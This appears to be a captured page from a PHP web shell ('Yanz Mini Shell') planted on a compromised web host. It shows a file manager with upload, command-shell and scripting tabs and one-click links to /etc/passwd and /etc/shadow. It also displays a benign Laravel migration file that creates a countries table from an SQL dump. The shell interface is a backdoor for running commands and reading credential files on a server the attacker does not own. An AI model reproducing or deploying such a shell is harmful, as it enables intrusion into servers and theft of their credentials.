Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
livewant
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; class CreateCountriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { // $sql = "database/sql/latest-world.sql"; $sql = file_get_contents(database_path('sql/latest-world.sql')); DB::unprepared($sql); Schema::table('countries', function (Blueprint $table) { $table->tinyInteger('status')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('countries'); } }
Free Space : 18310877184 Byte